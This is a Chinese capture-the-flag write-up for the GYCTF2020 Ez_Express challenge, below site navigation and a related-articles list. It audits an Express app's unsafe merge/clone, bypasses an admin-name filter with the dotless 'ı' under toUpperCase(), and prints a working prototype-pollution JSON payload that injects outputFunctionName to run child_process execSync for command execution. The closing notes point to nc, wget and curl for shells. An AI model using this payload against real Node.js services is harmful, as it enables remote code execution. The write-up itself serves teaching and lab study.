当前位置: 首页 > news >正文

[GYCTF2020]Ez_Express

目录

考点:

大体思路:

前言:

解题:

总结:


考点:

JavaScript 原型链与原型链污染

Undefsafe 模块原型链污染(CVE-2019-10795)

大体思路:

js审计如果看见merge,clone函数,可以往原型链污染靠,跟进找一下关键的函数,找污染点

切记一定要让其__proto__解析为一个键名

前言:

静下心来,慢慢思考。

解题:

 扫描目录可得www.zip,进行代码审计 routes 下的 index.js文件:

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {                     //用了危险函数 merge
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}
//路由

router.get('/', function (req, res) {
  if(!req.session.user){                                           //没登录 返回到login
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;                                 //outputFunctionName=undefined
  res.render('index',data={'user':req.session.user.user});          //渲染
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {                                //注册
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){                                        //调用safekeyword  名字不能为admin 否则 forbidword
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),                                //id变为大写
      'passwd': req.body.pwd, 
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){                                                                   //检测登录
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {                                                 //只有 admin 才能使用 clone 功能             
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});                                  //原型链污染点
})
module.exports = router;

源码中 用了 merge() 和clone() ,那必定是原型链污染了,往下找到 clone()的位置:

router.post('/action', function (req, res) {    // /action路由只能admin用户访问
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);    // 使用了之前定义的危险的merge操作
  //主要就是实现克隆出一个对象出来,这里克隆的是我们的请求体,使其等于user.data,那就可以在该页面下POST数据给outputFunctionName赋值从而执行命令。
  res.end("<script>alert('success');history.go(-1);</script>");  
});

可见,如果我们登上admin 后,便可以发送post 数据来进行原型链污染,但是要污染那个参数?

我们继续向下看到 /info 路由:

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

可以看到 在/info下,将res 对象中的  outputFunctionName  属性 渲染入了 index 中 。

而 outputFunctionName 是没有定义的。

  1. res.outputFunctionName=undefined;

但是需要admin 账号才能用到 clone ()  于是我们去 /login 路由中看看

首先题目要求我们必须是ADMIN

 /login:

  1. router.post('/login', function (req, res) {
  2. if(req.body.Submit=="register"){
  3. if(safeKeyword(req.body.userid)){ // 注册的用户的userid不能是admin
  4. res.end("<script>alert('forbid word');history.go(-1);</script>")
  5. }
  6. req.session.user={
  7. 'user':req.body.userid.toUpperCase(), // 变成大写
  8. 'passwd': req.body.pwd,
  9. 'isLogin':false
  10. }
  11. res.redirect('/');
  12. }
  13. else if(req.body.Submit=="login"){
  14. if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
  15. if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
  16. req.session.user.isLogin=true;
  17. }
  18. else{
  19. res.end("<script>alert('error passwd');history.go(-1);</script>")
  20. }
  21. }
  22. res.redirect('/'); ;
  23. });

可以看到,注册的名字不能为 admin (大小写),不过有个地方注意下:

  1. 'user':req.body.userid.toUpperCase(),

这里把 user名 给转为大写了,是否考虑可以绕过?这种转编码的通常都很容易出问题,具体请参考 p 牛的文章 :《Fuzz中的javascript大小写特性 |离别歌 (leavesongs.com)》

我们可以注册一个  admın 此   admın 非admin 仔细看  i 。

特殊字符绕过:

toUpperCase()

我们可以在其中混入了两个奇特的字符”ı”、”ſ”。这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。

toLowerCase()

这个”K”的“小写”字符是k,也就是”K”.toLowerCase() == ‘k’.

登录admin成功后:

 让我们输入自己最喜欢的语言,这里我们可以发送payload 进行原型链污染:

将 Content-Type 设为 application/json

  1. {"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}f

 访问 /info 路由得到flag

总结:


1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始


2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。


3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。
 

相关文章:

  • 业务脚本pytest封装
  • 物联网设备通信
  • textcnn, textrnn, textrcnn, textrnn_att, dpcnn, transformer介绍
  • 初始Cpp之 三、Cpp预处理器
  • 计算机毕业设计springboot+vue基本微信小程序的校园跑腿平台
  • Flink 运行时架构(三)
  • Python学习:获取对象信息
  • 人工神经网络理论及应用,人工智能神经网络论文
  • 【数据结构与算法】之深入解析“考试的最大困扰度”的求解思路与算法示例
  • SpirngMVC获取请求参数
  • [Spring Cloud 项目] Spring cloud 实现房源查询功能
  • golang设计模式——结构模式
  • CF803G Periodic RMQ Problem【动态开点线段树+ST表】
  • 【业务知识】发票系统设计知识学习二
  • Basic Facilities of a Virtio Device (二)
  • ----------
  • Computed property XXX was assigned to but it has no setter
  • IndexedDB
  • java B2B2C 源码多租户电子商城系统-Kafka基本使用介绍
  • JS变量作用域
  • JS基础之数据类型、对象、原型、原型链、继承
  • Js基础知识(四) - js运行原理与机制
  • MQ框架的比较
  • python学习笔记 - ThreadLocal
  • SpringCloud(第 039 篇)链接Mysql数据库,通过JpaRepository编写数据库访问
  • 从tcpdump抓包看TCP/IP协议
  • 工作踩坑系列——https访问遇到“已阻止载入混合活动内容”
  • 欢迎参加第二届中国游戏开发者大会
  • 计算机常识 - 收藏集 - 掘金
  • 简单易用的leetcode开发测试工具(npm)
  • 看域名解析域名安全对SEO的影响
  • 名企6年Java程序员的工作总结,写给在迷茫中的你!
  • 我是如何设计 Upload 上传组件的
  • 做一名精致的JavaScripter 01:JavaScript简介
  • #【QT 5 调试软件后,发布相关:软件生成exe文件 + 文件打包】
  • #Linux(帮助手册)
  • #考研#计算机文化知识1(局域网及网络互联)
  • (2022版)一套教程搞定k8s安装到实战 | RBAC
  • (51单片机)第五章-A/D和D/A工作原理-A/D
  • (多级缓存)缓存同步
  • (二十一)devops持续集成开发——使用jenkins的Docker Pipeline插件完成docker项目的pipeline流水线发布
  • (过滤器)Filter和(监听器)listener
  • (六)Hibernate的二级缓存
  • (六)激光线扫描-三维重建
  • (一)eclipse Dynamic web project 工程目录以及文件路径问题
  • (转)3D模板阴影原理
  • (转)使用VMware vSphere标准交换机设置网络连接
  • .NET 2.0中新增的一些TryGet,TryParse等方法
  • .NET Core中的去虚
  • .NET 线程 Thread 进程 Process、线程池 pool、Invoke、begininvoke、异步回调
  • .NET/C# 编译期能确定的字符串会在字符串暂存池中不会被 GC 垃圾回收掉
  • .NET企业级应用架构设计系列之技术选型
  • /deep/和 >>>以及 ::v-deep 三者的区别
  • @ModelAttribute使用详解
  • @RequestMapping 的作用是什么?